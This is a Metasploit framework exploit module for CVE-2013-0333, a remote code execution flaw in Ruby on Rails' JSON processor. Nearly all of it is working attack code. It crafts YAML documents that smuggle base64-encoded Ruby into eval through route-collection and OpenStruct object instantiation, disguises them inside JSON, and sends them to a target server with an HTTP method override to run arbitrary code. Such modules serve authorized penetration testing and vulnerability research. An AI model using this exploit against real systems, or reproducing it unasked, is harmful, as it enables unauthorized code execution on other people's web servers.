Ruby on Rails JSON Processor YAML Deserialization Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::CmdStagerTFTP  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution',  
'Description' => %q{  
This module exploits a remote code execution vulnerability in the  
JSON request processor of the Ruby on Rails application framework.  
This vulnerability allows an attacker to instantiate a remote object,  
which in turn can be used to execute any ruby code remotely in the  
context of the application. This vulnerability is very similar to  
CVE-2013-0156.  
  
This module has been tested successfully on RoR 3.0.9, 3.0.19, and  
2.3.15.  
  
The technique used by this module requires the target to be running a  
fairly recent version of Ruby 1.9 (since 2011 or so). Applications  
using Ruby 1.8 may still be exploitable using the init_with() method,  
but this has not been demonstrated.  
  
},  
'Author' =>  
[  
'jjarmoc', # Initial module based on cve-2013-0156, testing help  
'egypt', # Module  
'lian', # Identified the RouteSet::NamedRouteCollection vector  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2013-0333'],  
],  
'Platform' => 'ruby',  
'Arch' => ARCH_RUBY,  
'Privileged' => false,  
'Targets' => [ ['Automatic', {} ] ],  
'DisclosureDate' => 'Jan 28 2013',  
'DefaultOptions' => { "PrependFork" => true },  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),  
OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])  
  
], self.class)  
  
end  
  
#  
# Create the YAML document that will be embedded into the JSON  
#  
def build_yaml_rails2  
  
code = Rex::Text.encode_base64(payload.encoded)  
yaml =  
"--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +  
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +  
"eval(%[#{code}].unpack(%[m0])[0]);' " +  
": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " +  
":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +  
":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"  
yaml.gsub(':', '\u003a')  
end  
  
  
#  
# Create the YAML document that will be embedded into the JSON  
#  
def build_yaml_rails3  
  
code = Rex::Text.encode_base64(payload.encoded)  
yaml =  
"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +  
"'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +  
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"  
yaml.gsub(':', '\u003a')  
end  
  
def build_request(v)  
case v  
when 2; build_yaml_rails2  
when 3; build_yaml_rails3  
end  
end  
  
#  
# Send the actual request  
#  
def exploit  
  
[2, 3].each do |ver|  
print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...")  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path),  
'method' => datastore['HTTP_METHOD'],  
'ctype' => 'application/json',  
'headers' => { 'X-HTTP-Method-Override' => 'get' },  
'data' => build_request(ver)  
}, 25)  
handler  
end  
  
end  
end  
`